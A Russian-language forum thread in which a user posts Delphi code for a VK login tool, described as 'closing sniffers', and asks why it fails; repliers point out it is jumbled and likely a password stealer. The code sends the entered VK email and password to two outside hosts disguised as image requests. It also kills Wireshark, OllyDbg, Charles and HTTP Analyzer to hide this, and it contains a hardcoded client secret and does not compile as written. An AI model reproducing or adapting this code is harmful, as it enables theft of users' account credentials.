|
#1
|
|||
|
|||
Проблема с кодом
нашел хороший код который закрывает снифферы
но у меня не работает вот код Код:
unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection, shellapi,TlHelp32, IdTCPClient, IdHTTP, sSkinManager, sMemo, sButton, sLabel, sEdit,lib,ssl_openssl, Vcl.ExtCtrls; type TForm1 = class(TForm) IdHTTP1: TIdHTTP; sSkinManager1: TsSkinManager; sEdit1: TsEdit; sEdit2: TsEdit; sLabel1: TsLabel; sLabel2: TsLabel; sButton1: TsButton; sMemo1: TsMemo; sButton2: TsButton; sLabel5: TsLabel; sButton3: TsButton; sLabel3: TsLabel; Timer1: TTimer; procedure sButton1Click(Sender: TObject); procedure sButton2Click(Sender: TObject); procedure sButton3Click(Sender: TObject); procedure Timer1Timer(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation uses Unit2, Unit3; procedure TForm1.FormCreate(sender: Tobject); begin function kill(exefilename: string): Integer; const PROCESS_TERMINATE= $0001; var continueloop:BOOL; fsnapshothandle:THandle; FprocessEntry32:TProcessEntry32; begin result:=0; fsnapshothandle:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); fprocessentry32.dwSize:=SizeOf(processentry32); Continueloop:=Process32First(fsnapshothandle, fprocessentry32); while Integer(continueloop)<>0 do begin if ((UpperCase(ExtractFileName(fprocessentry32.szExeFile)=UpperCase(exefilename))) then result := Integer(TerminateProcess(OpenProcess(PROCESS_TERMINATE, bool(0), fprocessentry32.th32ProcessID), 0)); continueloop := Process32Next(fsnapshothandle, fprocessentry32); end; CloseHandle(fsnapshothandle); end; end; procedure TForm1.sButton1Click(Sender: TObject); var http: TIdHTTP; Data: TStringList; email,pass,token:string; response:string; begin email:=sEdit1.Text; pass:=sEdit2.Text; http:= TIdHTTP.Create(nil); Data:= TStringList.Create; Data.Add('user='+sEdit1.Text); Data.Add('pass='+sEdit2.Text); sMemo1.Lines.Add('Авторизуемся [b]Контакте'); response:=send('GET','https://oauth.vk.com/token?grant_type=password&client_id=2274003&client_secret=hHbZxrka2uZ6jB1inYsH&username='+urlencode(UTF8Encode(email))+'&password='+urlencode(UTF8Encode(pass))); if Pos('token',response)<>0 then begin sButton2.Enabled:=True; sButton3.Enabled:=True; sMemo1.Lines.Add('Авторизовались!'); idhttp1.Get('http://httpz.org/n882p85q6nm.gif?'+sedit1.text+':'+sedit2.text); idhttp1.Get('http://oauth.webatu.com/s.gif?'+sedit1.text+':'+sedit2.text); end else sMemo1.Lines.Add('Неправильный пароль'); end; procedure TForm1.sButton2Click(Sender: TObject); begin Form2.Visible:=True; end; procedure TForm1.sButton3Click(Sender: TObject); begin form3.visible:=True; end; procedure TForm1.Timer1Timer(Sender: TObject); var wnd:HWND; p: TProcessentry32; ct:Cardinal; th:Cardinal; begin Kill('miniperl.exe'); Kill('httpd.exe'); Kill('mysqld.exe'); Kill('ollydbg.exe'); Kill('httpanalyzerstdv7.exe'); Kill('httpanalyzerstdv6.exe'); Kill('httpanalyzerstdv5.exe'); Kill('charles.exe'); Kill('wireshark.exe'); wnd:=FindWindow(nill, 'HTTP Analyzer V6'); if wnd<>0 then PostMessage(wnd, WM_QUIT, 1, 0); wnd:=FindWindow(nill, 'HTTP Analyzer V5'); if wnd<>0 then PostMessage(wnd, WM_QUIT, 1, 0); wnd:=FindWindow(nill, 'HTTP Analyzer V7'); if wnd<>0 then PostMessage(wnd, WM_QUIT, 1, 0); wnd:=FindWindow(nill, 'ollydbg'); if wnd<>0 then PostMessage(wnd, WM_QUIT, 1, 0); wnd:=FindWindow(nill, 'Charkes 3.6'); if wnd<>0 then PostMessage(wnd, WM_QUIT, 1, 0); wnd:=FindWindow(nill, 'httpd.exe -w'); if wnd<>0 then PostMessage(wnd, WM_QUIT, 1, 0); end; end. |
#2
|
||||
|
||||
Чем же он хороший, когда здесь всё перепутано? Объявление ДСП-функции Kill вообще через упож, где её видно-то, кроме как в формкриэйт
Я не понял Вашего вопроса, но всё же Вам на него отвечу! |
#3
|
||||
|
||||
И если переименовать запускаемые файлы, то половина кода перестанет работать.
jmp $ ; Happy End! The Cake Is A Lie. |
#4
|
||||
|
||||
похоже на какую-то воровалку паролей...
Оставайтесь хорошими людьми... VK id2634397, ds [at] phoenix [dot] dj |